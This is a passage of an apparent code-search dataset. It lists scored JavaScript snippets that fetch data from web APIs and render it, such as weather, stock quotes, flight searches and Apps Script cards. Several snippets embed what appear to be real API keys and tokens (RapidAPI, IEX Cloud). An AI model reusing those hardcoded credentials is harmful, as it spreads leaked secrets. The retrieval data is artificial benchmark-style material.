{ \n method: 'POST', \n headers: headers,\n body: JSON.stringify(data)}\n );\n }", "title": "" }, { "docid": "9677a9cf473f622acc653d3af3386dd8", "score": "0.57147807", "text": "function render() {\n\n }", "title": "" }, { "docid": "565a84043daf3a290499e182531456b8", "score": "0.56981057", "text": "function getApi(requestUrl) {\n topInfo.textContent = \"\"\n fetch(requestUrl)\n .then(function (response){\n return response.json();\n console.log(response); \n }).then(function (data) {\n renderTopInfo(data) \n \n })\n}", "title": "" }, { "docid": "5eec60e96340c6f804f331e5f9927d78", "score": "0.5693989", "text": "render() {\n }", "title": "" }, { "docid": "4ac94fac5b8fc99efefcd1758a43ee5d", "score": "0.5667795", "text": "function render(data) {\n\n // Location requested\n $(\"#location\").text(data.name + \", \" + data.sys.country);\n\n // Icont for the weather\n $(\"#icon\").html('<img src=\"' + \"https://openweathermap.org/img/w/\" + data.weather[0].icon + \".png\" + '\" class=\".wIcon\" alt=\"w-icon\">');\n\n // Temperature\n $(\"#temp\").text(Math.round(data.main.temp));\n\n // Cloudy/Sunny/etc\n $(\"#mainWeather\").text(data.weather[0].main);\n\n // Maximas and Minimas for the temperature\n $(\"#tempMax\").text(data.main.temp_max);\n\n // Display date info\n $(\"#day\").text(dayOfWeek());\n $(\"#time\").text(currentTime());\n $(\"#descWeather\").text(data.weather[0].description);\n $(\"#wind\").text(\"Wind: \" + data.wind.speed);\n $(\"#humidity\").text(\"Humidity: \" + data.main.humidity + \"%\");\n}", "title": "" }, { "docid": "1ac3f8dc07ae35d88084cc894fd31f52", "score": "0.5665627", "text": "fetchList() {\n\tconst url = config.API_ENDPOINT + `listTravel/${TokenService.getUserId('userid')}`\n\t\t\tfetch(url)\n\t\t\t.then(response => {\n\t\t\t\tif (!response.ok) {\n\t\t\t\t\tthrow new Error(response.statusText);\n\t\t\t\t}\n\t\t\t\treturn response.json();\n\t\t\t})\n\t\t\t.then(data => {\t\n\t\t\tthis.renderNew(data)\n\t\t})\n\t\t\t.catch(err => {\n\t\t\t\tconsole.log(err);\n\t\t\t});\n\t\t\n\t\t}", "title": "" }, { "docid": "53ab90731fac1dd6aee1cebe88f45ae6", "score": "0.5661379", "text": "function layout_rendering(_id, _version, _payout, _pk, _title, _notify, _accessToken, _isCompose){\n var checkout_info = JSON.parse(db_api_checkout(_accessToken, _id, _version));\n var _medias = checkout_info.response.medias;\n if(_medias.length > 0) var media_html = '<br>List items: <br>';\n else var media_html = '';\n\n if(parseInt(_payout) == 0) var callBackFunction = 'db_api_check_status_render_free';\n else var callBackFunction = 'db_api_check_status_render_premium';\n\n for(var item in _medias){\n media_html += 'Title : <font color=\"#18b8a5\"><a href=\"' + _medias[item].thumb + '\"><b>'+_medias[item].title+'</b></a><br></font><br>';\n if(parseInt(_medias[item].price) !== 0){\n media_html += 'Price : <b><font color=\"#18b8a5\">'+_medias[item].price+'</font></b>';\n }\n media_html += '<br>--------------------------------';\n }\n\n var card = CardService.newCardBuilder()\n .setHeader(CardService.newCardHeader().setTitle(\"Design infomation\"))\n .addSection(CardService.newCardSection()\n .addWidget(CardService.newTextParagraph().setText('<font color=\"#18b8a5\">' + _title + '</font><br>' + media_html))\n .addWidget(CardService.newTextParagraph().setText(\"<b>\" + _notify + \"</b><br>---------------------\"))\n .addWidget(CardService.newTextButton().setText('Check render status')\n .setOnClickAction(\n CardService.newAction().setFunctionName(callBackFunction)\n .setParameters({\n pk : _pk,\n id : _id,\n title : _title,\n notify : _notify,\n version : _version.toString(),\n accessToken : _accessToken,\n isCompose : _isCompose.toString(),\n }))))\n .build();\n\n var nav = CardService.newNavigation().updateCard(card);\n return CardService.newActionResponseBuilder()\n .setNavigation(nav)\n .build();\n}", "title": "" }, { "docid": "740c81869692eeb138387a6328ae1936", "score": "0.564449", "text": "async function serachById(id){ \n try{\n const superhero = await fetch(`https://superheroapi.com/api.php/${tokenId}/${id}`);\n const data = await superhero.json();\n if(data.response===\"success\")\n renderSuperhero(data); \n else \n renderResult([{name: \"No Results found\"}]);\n }\n catch(error){\n console.log(error);\n }\n }", "title": "" }, { "docid": "78facfdd6d87072701b25a8833011198", "score": "0.56353325", "text": "function fbRender() {\n FB.api('/me', function (response) {\n if (clickChoice == \"login\") {\n fbLogin(response);\n } else if (clickChoice == \"register\") {\n fbRegister(response);\n } else if (clickChoice == \"add\") {\n fbAdd(response);\n }\n });\n}", "title": "" }, { "docid": "859435d8d9d7e5aa7576da6bb81bff7e", "score": "0.563067", "text": "function getInventory() {\n $.ajax({\n type: 'GET',\n url: '/api/inventory',\n })\n .then(function(response) {\n console.log('GET response: ', response);\n render(response);\n });\n}", "title": "" }, { "docid": "b81599c5c60ba9defdb458ae6d93f959", "score": "0.56256765", "text": "async handleSubmit(e) {\n e.preventDefault();\n\n console.log(\"Request for PreferredDonors\");\n\n await PetsApi.getDonors().then(\n res => {\n this.renderResponse(res);\n }\n );\n\n }", "title": "" }, { "docid": "586b50ed702f1e3001b1a4b4317f6cea", "score": "0.5616372", "text": "function main() {\n requestData('https://xkcd.now.sh/?comic=latest')\n .then((data) => {\n renderImage(data);\n })\n .catch((error) => {\n renderError(error);\n });\n}", "title": "" }, { "docid": "a618a1655218fd615c24fdb928e65835", "score": "0.5615442", "text": "async function API(_req, res) {\n try {\n const { data } = await axios.get(Pokemons);\n const response = await axios.all(data.results.map(async ({ url }) => await axios.get(url)));\n const results = response\n .map((e) => e.data)\n .map((e) => {\n return {\n id: e.id,\n name: upperFirst(e.name),\n hp: e.stats.find((e) => e.stat.name === \"hp\").base_stat,\n attack: e.stats.find((e) => e.stat.name === \"attack\").base_stat,\n defense: e.stats.find((e) => e.stat.name === \"defense\").base_stat,\n speed: e.stats.find((e) => e.stat.name === \"speed\").base_stat,\n height: e.height,\n weight: e.weight,\n image: e.sprites.other.dream_world.front_default,\n type: e.types.map((e) => upperFirst(e.type.name))\n };\n });\n res.send(results);\n } catch (error) {\n res.send(error)\n }\n}", "title": "" }, { "docid": "f799fa5e752e006c98f2c935719a419d", "score": "0.5610866", "text": "function viewifyReturnData(data, viewRequestType){\n\t\t\n\t\tif (viewRequestType == 'budget') {\n\t\t\trenderNewBudget(data, 0);\n\t\t\tconsole.log('renderNewBudget');\n\t\t}\n\t\t\n\t\tif (viewRequestType == 'activity') {\n\t\t\n\t\t}\n\t\t\n\t\tif (viewRequestType == 'weather') {\n\t\t\trenderOutput(JSON.stringify(data));\n\t\t}\n }", "title": "" }, { "docid": "a4288adddbc3578b730efb11f9bacfc2", "score": "0.5609315", "text": "_debounceRender(cb,asyncModule){super._debounceRender(()=>this._accessIronListAPI(cb),asyncModule);}", "title": "" }, { "docid": "6f9fae3222d305a8493408d70c810fd8", "score": "0.560314", "text": "function handleRender(req, res) {\n /**Condition to parse the route since router v4 does not support query params */\n if (req.url.substring(0, 10) == \"/photoView\") {\n urlParsed = \"/photoView\";\n imageId = req.url.substring(14);\n } else {\n urlParsed = req.url;\n }\n /**Match the request with predefined routes*/\n const match = routes.reduce(\n (acc, route) => matchPath(urlParsed, { path: route, exact: true }) || acc,\n null\n );\n /**Condition to check if route is matched and get data accordingly or send not found page */\n if (match != null) {\n /**Server call to get image list*/\n axios\n .get(\"http://localhost:8080/api/photos\")\n .then(function(response) {\n imageList = response.data;\n /**Condition to check if route is photoview and get data according to the image id */\n if (urlParsed == \"/photoView\") {\n var filteredImage = imageList.filter(function(obj) {\n return obj.code == imageId;\n });\n if (filteredImage.length != 0) {\n imageData = filteredImage[0];\n /**Server call to get image comments*/\n axios\n .get(`http://localhost:8080/api/comments/${imageId}`)\n .then(function(response) {\n commentData = response.data;\n sendPage(req.url, res);\n })\n .catch(function(err) {\n console.log(\"Initial Server-side rendering error\", err);\n sendPage(\"/notFound\", res);\n });\n } else {\n sendPage(\"/notFound\", res);\n }\n } else {\n sendPage(req.url, res);\n }\n })\n .catch(function(err) {\n sendPage(\"/notFound\", res);\n });\n } else {\n sendPage(\"/notFound\", res);\n }\n}", "title": "" }, { "docid": "68a8b9f12dcfdaeb1333573900e4d7d3", "score": "0.55939245", "text": "async index ({ request, response, view }) {\n }", "title": "" }, { "docid": "68a8b9f12dcfdaeb1333573900e4d7d3", "score": "0.55939245", "text": "async index ({ request, response, view }) {\n }", "title": "" }, { "docid": "68a8b9f12dcfdaeb1333573900e4d7d3", "score": "0.55939245", "text": "async index ({ request, response, view }) {\n }", "title": "" }, { "docid": "68a8b9f12dcfdaeb1333573900e4d7d3", "score": "0.55939245", "text": "async index ({ request, response, view }) {\n }", "title": "" }, { "docid": "68a8b9f12dcfdaeb1333573900e4d7d3", "score": "0.55939245", "text": "async index ({ request, response, view }) {\n }", "title": "" }, { "docid": "68a8b9f12dcfdaeb1333573900e4d7d3", "score": "0.55939245", "text": "async index ({ request, response, view }) {\n }", "title": "" }, { "docid": "ab428d0436c44c5c6d11add2349b290c", "score": "0.55936974", "text": "renderApiCall(url, method, endpoint, hasParam) {\n var httpmethodToCall;\n switch(method){\n\n case \"POST\":\n httpmethodToCall=this.props.callPOST;\n break;\n case \"PUT\":\n httpmethodToCall=this.props.callPUT;\n break;\n case \"DELETE\":\n httpmethodToCall=this.props.callDELETE;\n break;\n default:\n httpmethodToCall=this.props.callGET;\n }\n\n\n\n\n return (\n <ApiCall url={url} method={method} httpMethod={httpmethodToCall} hasId={hasParam} endpoint={endpoint} />\n );\n }", "title": "" }, { "docid": "e77f74290dd158797b832e07d018581d", "score": "0.5592491", "text": "function getToys(){\n fetch(\"http://localhost:3000/toys\").then(function(response){\n return response.json();\n })\n .then(function(object){\n // iterates through the json response, each instance is sent to the renderToys function above \n object.forEach(object => renderToys(object)) \n })\n }", "title": "" }, { "docid": "40ea8ecb6e9e441e82568e94d3245918", "score": "0.55920273", "text": "async function getRequestList() {\n const res = await fetch('http://localhost:7777/video-request');\n const data = await res.json();\n renderRequests(data);\n }", "title": "" }, { "docid": "a3491e842af771fb96a6982dbebea1d2", "score": "0.5590958", "text": "function call_api(){\n request('https://cloud.iexapis.com/stable/stock/fb/quote?token=pk_3d10af7b6ff049109b835004803eb5a2', {json:true}, (err, res, body) => {\n if(err) {return console.log(err);}\n console.log(body);\n if (res.statusCode === 200){\n //console.log(body);\n return body\n\n }\n\n\n});\n\n\n}", "title": "" }, { "docid": "6d3ca26a0f7ba8391d4ee5c1ba078904", "score": "0.5578548", "text": "function APIcallback(err, APIresHead, APIresBody) {\n // gets three objects as input\n if ((err) || (APIresHead.statusCode != 200)) {\n // API is not working\n console.log(\"Got API error\");\n console.log(APIresBody);\n } else {\n if (APIresHead.error) {\n // API worked but is not giving you data\n console.log(APIresHead.error);\n } else {\n var text = APIresBody.data.translations[0].translatedText;\n console.log(\"In Spanish: \", text);\n //output to the browser\n res.json( {\"word\" : text} );\n \n console.log(\"\\n\\nJSON was:\");\n console.log(JSON.stringify(APIresBody, undefined, 2));\n // print it out as a string, nicely formatted\n }\n }\n }", "title": "" }, { "docid": "05fbe8aa161f639fe4c1b8d9cdbb00a8", "score": "0.55752474", "text": "function callback(error, response, body){\n\t\t// console.log(response);\n\n\t\tif(!error ){\n\t\t \tres.render('viewItem',{data:body[0]}); \n\n\t\t}else{\n\t\t\tconsole.log(error);\n\t\t\t// res.send(error);\n\t\t}\n\t}", "title": "" }, { "docid": "4e0366174ab412005431a61030146d03", "score": "0.5572912", "text": "fetchGet(){\n fetch(`https://n161.tech/api/dummyapi/tag/${this.props.tagName}/post`)\n .then(resp => {\n return resp.json() \n })\n .then(jsonResponse => { \n this.setState({\n response: jsonResponse,\n loading: false, \n });\n })\n .catch(error => {\n this.setState({ \n error:true\n })\n });\n }", "title": "" }, { "docid": "db4a331e24d744b0573a93de0e0e2eab", "score": "0.5572004", "text": "function call_api_eth_1(finishedAPI){\n\tfetch('https://www.bitstamp.net/api/v2/ticker/ethusd')\n\t.then(function (response) {\n\t\treturn response.json();\n\t}).then(function (data) {\n \t\tfinishedAPI(data);\n\t}).catch(function (error) {\n\t\tconsole.log(error);\n\t});\n}", "title": "" }, { "docid": "d33ec244ee3b016711f52c13a87d5bc8", "score": "0.55713165", "text": "function render (data,C){\n var currentWeather = data.weather[0].description; // tells state of weather.\n var currentTemp = displayTemp(data.main.temp,C); // in F\n var icon = data.weather[0].icon;\n apiData = data;\n\n $('#currentTemp').html(currentTemp);\n $('#currentWeather').html(currentWeather);\n console.log('temp ' + currentTemp);\n var iconSource = 'http://openweathermap.org/img/w/' + icon + '.png';\n $('#currentTemp').prepend('<img src = ' + iconSource + '>');\n }", "title": "" }, { "docid": "ef929fe646dcd22611ac2c420073f89e", "score": "0.5568439", "text": "function renderResult (data) {\n data = processResult(data);\n res.render('index', {\n title: 'Standings',\n stats: data //JSON.parse(data)\n });\n }", "title": "" }, { "docid": "a0ec9364582277a425a45f0b96905511", "score": "0.55681145", "text": "function newsRender(data) {\n renderNewsPage(data.req, data.res, data.next);\n}", "title": "" }, { "docid": "f8245e2ded551dc49270a32c307233b3", "score": "0.5566246", "text": "function doGet()\n{ \n \n return getParsedDataDisplay();\n \n}", "title": "" }, { "docid": "edd1c27a28caaf940980162726c2c6dd", "score": "0.5561888", "text": "async handleSubmit(e) {\n e.preventDefault();\n let sPhone = ReactDOM.findDOMNode(this.refs.formPetsByShelter).value;\n\n console.log(\"Request for ViewPetsByShelter. ID: \" + sPhone);\n\n await PetsApi.getPetsByShelter(sPhone).then(\n res => {\n this.renderResponse(res);\n }\n );\n\n }", "title": "" }, { "docid": "09958d2b326fe71ec9ad4cb3d4afeb29", "score": "0.5560699", "text": "function makeAPICall() {\n //call the API:\n console.log(\"API called\");\n}", "title": "" }, { "docid": "9900cd18ffcf1621d4e7cb4498e3857f", "score": "0.55577743", "text": "function APIcallback(err, APIresHead, APIresBody) {\n\t// gets three objects as input\n\tif ((err) || (APIresHead.statusCode != 200)) {\n\t // API is not working\n\t console.log(\"Got API error\");\n\t console.log(APIresBody);\n\t} else {\n\t if (APIresHead.error) {\n\t\t// API worked but is not giving you data\n\t\tconsole.log(APIresHead.error);\n\t } else {\n\t\tconsole.log(\"In Chinese: \", \n\t\t APIresBody.data.translations[0].translatedText);\n\t\tconsole.log(\"\\n\\nJSON was:\");\n\t\tconsole.log(JSON.stringify(APIresBody, undefined, 2));\n // print it out as a string, nicely formatted\n createNewcard(requestObject.q[0], APIresBody.data.translations[0].translatedText);\n\t }\n\t}\n } // end callback function", "title": "" }, { "docid": "c03bf2968afd65df17c9d3b68c6c9d47", "score": "0.555645", "text": "function render() {\r\n\r\n}", "title": "" }, { "docid": "c03bf2968afd65df17c9d3b68c6c9d47", "score": "0.555645", "text": "function render() {\r\n\r\n}", "title": "" }, { "docid": "c03bf2968afd65df17c9d3b68c6c9d47", "score": "0.555645", "text": "function render() {\r\n\r\n}", "title": "" }, { "docid": "872bdd0a0bcb94a1dbbe65f86db5e797", "score": "0.5553192", "text": "function giveRender(req, res, page, title, compl_render) {\n\t\tvar render = [];\n\t\trender['title'] = title;\n\n\t\t// Add all extra informations\n\t\tfor (val in compl_render) {\n\t\t\trender[val] = compl_render[val];\n\t\t}\n\n\t\trender['user_id'] = req.user.id_user;\n\t\trender['user_name'] = req.user.name_user;\n\n\t\tmyQuery = \"SELECT SUM(matchs.point_match) as somme FROM game, matchs where matchs.id_game = game.id_game AND matchs.id_user = \" + req.user.id_user;\n\t\tdatabase.executeQuery(myQuery, function (res_3) {\n\t\t\trender['somme'] = res_3[0].somme;\n\t\t\tres.render(page, {\n\t\t\t\targ: render\n\t\t\t});\n\t\t});\n\t}", "title": "" }, { "docid": "7a85a1bac83e4ae630ab3edf35790032", "score": "0.55525464", "text": "function render() {\n // shortUrl = `https://chaddurlshortener.herokuapp.com/${initial}`;\n shortUrl = `https://localhost:3000/${initial}`;\n var item = {\n url: param,\n shortUrl: shortUrl,\n number: initial\n }\n var data = new Url(item).save(function(err, doc) {\n if(err){res.json(err)}\n else {\n console.log('success')\n mongoose.model('Url').find(function(err, urls) {\n if(err){res.json(err)}\n res.json(item);\n })\n }\n });\n }", "title": "" }, { "docid": "41c4f3581ee1096af9e3e7ca1610c5a9", "score": "0.5548713", "text": "async function fetchCharacters () {\n const response = await fetch (`https://rickandmortyapi.com/api/character`)\n const json = await response.json();\n displayImage(json)\n \n}", "title": "" }, { "docid": "c163a978a12637a1a368b3c178632db6", "score": "0.554626", "text": "getFlightInfo() {\n\n var round_trip = this.state.round_trip;\n var country = this.state.country;\n var currency = this.state.currency;\n var origin = this.state.origin;\n var destination = this.state.destination;\n\n var outbound = dateToStringAPI(this.state.outbound); \n var inbound = dateToStringAPI(this.state.inbound);\n\n var url;\n \n if (round_trip) {\n url = `https://skyscanner-skyscanner-flight-search-v1.p.rapidapi.com/apiservices/browsequotes/v1.0/${country}/${currency}/en-US/${origin}/${destination}/${outbound}/${inbound}`;\n } else {\n url = `https://skyscanner-skyscanner-flight-search-v1.p.rapidapi.com/apiservices/browsequotes/v1.0/${country}/${currency}/en-US/${origin}/${destination}/${outbound}`;\n }\n \n fetch(url, {\n method: \"GET\",\n headers: {\n \"x-rapidapi-key\": \"73c4c7b9e4msh0a2357717fa16ddp1db3bdjsn8cef95e5049c\",\n \"x-rapidapi-host\": \"skyscanner-skyscanner-flight-search-v1.p.rapidapi.com\"\n }\n })\n .then(response => {\n console.log(response);\n if (!response.ok) throw new Error(response.status);\n else return response.json();\n })\n .then( json => {//if response is ok\n this.props.passStartLoad(true); //let searchSession know that flight cards are loading\n console.log(json);\n this.setState({\n input_valid: true,\n submitted: true\n });\n const info = this.cleanFlightInfo(json); //see method below\n this.props.passFlightData(info); //send data up to parent component \n })\n .catch((error) => { //if API request is not valid\n console.log('error: '+ error);\n this.setState({input_valid: false});\n })\n }", "title": "" }, { "docid": "b793da174cd0bec068cd35bc3e106ea9", "score": "0.554179", "text": "function devolverInstagramJson(res,body){\n res.status(200).send(body)\n}", "title": "" }, { "docid": "a646de8345eacba3d6efdc12bea88052", "score": "0.55411756", "text": "function fetchDogs() {\n fetch('http://localhost:3000/dogs/')\n .then(response => response.json())\n .then(data => {data.forEach(dog => render(dog))\n })\n}", "title": "" }, { "docid": "dd50962077b169d393afb02ba573a97a", "score": "0.55400187", "text": "function getRequest(req, res, next) {\n\tgetInfo((info) => {\n\t\tres.render('index', { title: 'Express',\n \t\tid: info[0].id,\n \t\tname: info[0].name,\n \t\tbio: info[0].biography\n\t\t}\n\t\t);\n\t}); \n}", "title": "" }, { "docid": "a7392ffe24696960049dbda805820805", "score": "0.55377936", "text": "function db_api_check_status_render_free(e){\n var id = e.parameters.id;\n var pk = e.parameters.pk;\n var version = parseInt(e.parameters.version);\n var isCompose = e.parameters.isCompose.toString();\n var accessToken = e.parameters.accessToken;\n var d = new Date();\n var n = d.getMilliseconds();\n var name = id + n;\n var url = '';\n var headers_opt = { \"Authorization\": \"Bearer \" + accessToken };\n\n url = \"https://api.designbold.com/v3/document/\"+id+\"/render?name=\"+name+\"&type=png&crop_bleed=0&quality=high&pages=picked&mode=download&wm=0&session=&beta=0&picked=%5B1%5D&pk=\"+pk;\n\n var result = JSON.parse(accessProtectedResource(url, \"GET\", headers_opt));\n if(result.response !== undefined && result.response.downloadUrl !== undefined){\n // Render successfully. Free to download!\n var checkout_info = JSON.parse(db_api_checkout(accessToken, id, version));\n var medias = checkout_info.response.medias;\n var downloadUrl = result.response.downloadUrl;\n setDownloadUrl(id, downloadUrl);\n setRenderStatus(id, 2);\n return layout_render_successfully(id, downloadUrl, medias, 'Design is free to download', 'The design is ready for download.', isCompose);\n }else{\n // Rendering. Wait a minute!\n setRenderStatus(id, 1);\n return layout_rendering(id, version, 0, pk, 'Design is free to download', 'The design rendering... !', accessToken, isCompose);\n }\n}", "title": "" }, { "docid": "8dbbc16fb96ef7cbca4d9e3a6cca4542", "score": "0.5537057", "text": "async function fetchApi() {\n const baseURL = `https://api.edamam.com/search?q=${searchQuery}&app_id=${APP_ID}&app_key=${APP_KEY}&to=20`;\n const response = await fetch(baseURL);\n const data = await response.json();\n generateHTML(data.hits);\n}", "title": "" }, { "docid": "75f0c18b53f99a073e54bdbec9e6acf0", "score": "0.553665", "text": "function getComentariosDeItem(){\n\n let id = getItemId();\n\n //el fetch por default hace un GET, por eso no indico verbo\n fetch('api/comentarios/'+ id)\n .then(response=> response.json())\n .then(comentario=> render(comentario))\n .catch(error=> console.log(error));\n}", "title": "" }, { "docid": "983d032ed2b0313578854582eb9e29a4", "score": "0.55349207", "text": "function APIcallback(err, APIresHead, APIresBody) {\n if ((err) || (APIresHead.statusCode != 200)) {\n console.log(\"Got API error\");\n } else {\n if (APIresHead.error) { // API worked but is not giving you data\n console.log(APIresHead.error);\n } else {\n console.log(JSON.stringify(APIresBody, undefined, 2));\n res.json({\n \"English\": requestObject.q[0],\n \"Japanese\": APIresBody.data.translations[0].translatedText\n });\n }\n }\n }", "title": "" }, { "docid": "339a60023c9a97477d5e2c1896952e90", "score": "0.5534553", "text": "function call_api(finishedAPI, ticker){\n request('https://cloud.iexapis.com/stable/stock/'+ticker+'/quote?token=pk_b1989f0ccbc941d2baa3c85ab23caa8d',{json: true}, (err, res, body)=>{\n if(err){return console.log(err);}\n //console.log(res);\n if(res.statusCode === 200){\n // console.log(body);\n finishedAPI(body) ; \n }\n });\n}", "title": "" }, { "docid": "644e91ff3aa68821ebf3559df321277b", "score": "0.55287504", "text": "render() {\n\t\treturn <p>Current data is:<br/><pre>{JSON.stringify(this.props.response)}</pre></p>\n\t}", "title": "" }, { "docid": "79583baf9d8bf46208a90cbe27d98171", "score": "0.55275124", "text": "async function getRenderData() {\n const postPurchaseOffer = await fetch('http://gypsy.ngrok.io/get-offer').then(res => res.json());\n // await storage.update(postPurchaseOffer);\n\n return postPurchaseOffer\n}", "title": "" }, { "docid": "99626460f9f33431180aa51ec94a75bf", "score": "0.5527341", "text": "function ajax(endPoint) {\n fetch(endPoint)\n .then(res => res.json())\n .then(data => apiGen.next(data))\n }", "title": "" }, { "docid": "b13c08b26fd9b12a2d9c8bd98586df4b", "score": "0.5527116", "text": "fetchVariety(args){\n //const API_URL = `http://35.200.155.144:8000/variety`\n const API_URL = `http://localhost:8000/variety`\n return ezFetch.post(API_URL,args)\n }", "title": "" }, { "docid": "c7e06b3c65ad2e54707e7a29f548dec4", "score": "0.55227226", "text": "function callback(error, response, body) {\n\t\t\tif (!error && (response.statusCode == 201 || response.statusCode == 202 || response.statusCode == 204 || response.statusCode == 200)) {\n\n\t\t\t //console.log( body + ' \\n~~~~~>>> in CompositeServceObject.js ... request2Compose-function\\n');\n\t\t\t if(response.statusCode == 204) {\n\t\t\t \tmyCallBack('');\n\t\t\t } else {\n\t\t\t \tmyCallBack(body);\n\t\t\t }\n\n\t\t\t console.log('\\nrequest-function: '+response+'\\n');\n\n\t\t\t // call res.render with the data in the response from COMPOSE\n\t\t\t //res.send(response.statusCode, body);\n\t\t\t}\n\n\t\t \tif(res != '') {\n\t\t\t // send Response anyway (also at 403, 404, 417, 419, 500 )\n\t\t\t res.header('Cache-Control', 'no-cache, private, no-store, must-revalidate, max-stale=0, post-check=0, pre-check=0');\n\t\t\t process.nextTick(function(){\n\t\t\t \tres.send(response.statusCode, body)\n\t\t\t });\n\t\t\t}\n\t\t\t//myCallBack('{ statusCode: '+response.statusCode+',content: '+body+' }');\n\t\t}", "title": "" }, { "docid": "8436a9915d2defb4499fd6a94b21dfd1", "score": "0.5521566", "text": "fetchFertilizerData(){\n //const API_URL = `http://35.200.155.144:8000/fertilizerdetail`\n const API_URL = `http://localhost:8000/fertilizerdetail`\n return ezFetch.get(API_URL)\n }", "title": "" }, { "docid": "33661b3c846eaf7aee58bf783f5349f0", "score": "0.5518667", "text": "async function fetchAPI() {\n const baseURL = `https://api.edamam.com/api/food-database/v2/parser?nutrition-type=logging&ingr=${searchQuery}&app_id=${APP_ID}&app_key=${APP_key}&from=0&to=20`; // 20 returns 20 search's/hits on webstie from the API\n const response = await fetch(baseURL); // fecting the above URL\n const data = await response.json(); // after fecthing URL this line converts into Json then into data, used to transmit data between a server and web applications, the data is converted into a hits array, loged into 20 counts on web page\n generateHTML(data.hints) // passing data to the html, calling hits from the array\n console.log(data);\n}", "title": "" }, { "docid": "23b31d703ddcd3c1895cf1f479d47760", "score": "0.55181485", "text": "onRender(){}", "title": "" } ]
098f3a867fcf4f290505e43db8352ae0
theCallAndApplyMethods(); functionsReturningFunctions(); functionsAcceptingCallbackFunctions(); passingArguments(); defaultParameters();
[ { "docid": "b5b1a7e9939a7a1454b2828f7953a3a7", "score": "0.0", "text": "function codingChallenge1() {\n const poll = {\n question: \"What is your favorite programming language?\",\n options: [\"0: JavaScript\", \"1: Python\", \"2: Swift\", \"3: C++\"],\n answers: new Array(4).fill(0),\n registerNewAnswer: function () {\n const answer = prompt(\n `${this.question}\\n${this.options.join(`\\n`)}\\n(Write option number)`\n );\n if (answer >= 0 && answer < 4) this.answers[answer]++;\n console.log(this.answers);\n },\n displayResults: function (type) {\n if (typeof type === \"String\") {\n console.log(\"asdf\");\n }\n },\n };\n poll.registerNewAnswer();\n poll.displayResults(\"asdss\");\n\n document\n .querySelector(`.poll`)\n .addEventListener(\"click\", poll.registerNewAnswer.bind(poll));\n}", "title": "" } ]
[ { "docid": "9b70344b6e3da7fc3641fd185a4ade9d", "score": "0.6217825", "text": "static performCallbacks(callbacks) {\n // This is my method of getting all the arguments except for the list of callbacks\n const args = Array.prototype.slice.call(arguments, 1);\n callbacks.forEach((callback) => {\n // To use the arguments I have to use the apply method of the function\n callback(...args);\n });\n }", "title": "" }, { "docid": "7a7ce389d5d127d6075ff7b193229b91", "score": "0.6019554", "text": "function helloFunctionInvoker(hello){\n hello('function args');\n}", "title": "" }, { "docid": "53ca98d006439e95e4881926c36ea359", "score": "0.60111505", "text": "function main(param1,param2,callBack){ \n console.log(param1, param2) \n callBack() \n }", "title": "" }, { "docid": "5140f15baf78413431572f630758230d", "score": "0.57660025", "text": "function run() {\n var index = -1\n var input = slice.call(arguments, 0, -1)\n var done = arguments[arguments.length - 1]\n\n if (typeof done !== 'function') {\n throw new Error('Expected function as last argument, not ' + done)\n }\n\n next.apply(null, [null].concat(input))\n\n /* Run the next `fn`, if any. */\n function next(err) {\n var fn = fns[++index]\n var params = slice.call(arguments, 0)\n var values = params.slice(1)\n var length = input.length\n var pos = -1\n\n if (err) {\n done(err)\n return\n }\n\n /* Copy non-nully input into values. */\n while (++pos < length) {\n if (values[pos] === null || values[pos] === undefined) {\n values[pos] = input[pos]\n }\n }\n\n input = values\n\n /* Next or done. */\n if (fn) {\n wrap(fn, next).apply(null, input)\n } else {\n done.apply(null, [null].concat(input))\n }\n }\n }", "title": "" }, { "docid": "5140f15baf78413431572f630758230d", "score": "0.57660025", "text": "function run() {\n var index = -1\n var input = slice.call(arguments, 0, -1)\n var done = arguments[arguments.length - 1]\n\n if (typeof done !== 'function') {\n throw new Error('Expected function as last argument, not ' + done)\n }\n\n next.apply(null, [null].concat(input))\n\n /* Run the next `fn`, if any. */\n function next(err) {\n var fn = fns[++index]\n var params = slice.call(arguments, 0)\n var values = params.slice(1)\n var length = input.length\n var pos = -1\n\n if (err) {\n done(err)\n return\n }\n\n /* Copy non-nully input into values. */\n while (++pos < length) {\n if (values[pos] === null || values[pos] === undefined) {\n values[pos] = input[pos]\n }\n }\n\n input = values\n\n /* Next or done. */\n if (fn) {\n wrap(fn, next).apply(null, input)\n } else {\n done.apply(null, [null].concat(input))\n }\n }\n }", "title": "" }, { "docid": "a8fcde8e83e5d15af923aadd8d1ed0bd", "score": "0.57267135", "text": "function yourFunctionRunner() {\n\tvar returnValues = [];\n\tfor (var i=0; i<arguments.length; i++) {\n\t\treturnValues.push(arguments[i]());\n\t}\n\treturn returnValues.join('');\n}", "title": "" }, { "docid": "940bf16f4227cc0818d7bf9214a52f4d", "score": "0.56998646", "text": "function callFunctions(){\n addition(10, 20);\n subtraction(30, 10);\n}", "title": "" }, { "docid": "f69275c751858ea01aafbff1a09232d6", "score": "0.5699289", "text": "function run() {\n var index = -1\n var input = slice.call(arguments, 0, -1)\n var done = arguments[arguments.length - 1]\n\n if (typeof done !== 'function') {\n throw new Error('Expected function as last argument, not ' + done)\n }\n\n next.apply(null, [null].concat(input))\n\n // Run the next `fn`, if any.\n function next(err) {\n var fn = fns[++index]\n var params = slice.call(arguments, 0)\n var values = params.slice(1)\n var length = input.length\n var pos = -1\n\n if (err) {\n done(err)\n return\n }\n\n // Copy non-nully input into values.\n while (++pos < length) {\n if (values[pos] === null || values[pos] === undefined) {\n values[pos] = input[pos]\n }\n }\n\n input = values\n\n // Next or done.\n if (fn) {\n wrap(fn, next).apply(null, input)\n } else {\n done.apply(null, [null].concat(input))\n }\n }\n }", "title": "" }, { "docid": "f69275c751858ea01aafbff1a09232d6", "score": "0.5699289", "text": "function run() {\n var index = -1\n var input = slice.call(arguments, 0, -1)\n var done = arguments[arguments.length - 1]\n\n if (typeof done !== 'function') {\n throw new Error('Expected function as last argument, not ' + done)\n }\n\n next.apply(null, [null].concat(input))\n\n // Run the next `fn`, if any.\n function next(err) {\n var fn = fns[++index]\n var params = slice.call(arguments, 0)\n var values = params.slice(1)\n var length = input.length\n var pos = -1\n\n if (err) {\n done(err)\n return\n }\n\n // Copy non-nully input into values.\n while (++pos < length) {\n if (values[pos] === null || values[pos] === undefined) {\n values[pos] = input[pos]\n }\n }\n\n input = values\n\n // Next or done.\n if (fn) {\n wrap(fn, next).apply(null, input)\n } else {\n done.apply(null, [null].concat(input))\n }\n }\n }", "title": "" }, { "docid": "f69275c751858ea01aafbff1a09232d6", "score": "0.5699289", "text": "function run() {\n var index = -1\n var input = slice.call(arguments, 0, -1)\n var done = arguments[arguments.length - 1]\n\n if (typeof done !== 'function') {\n throw new 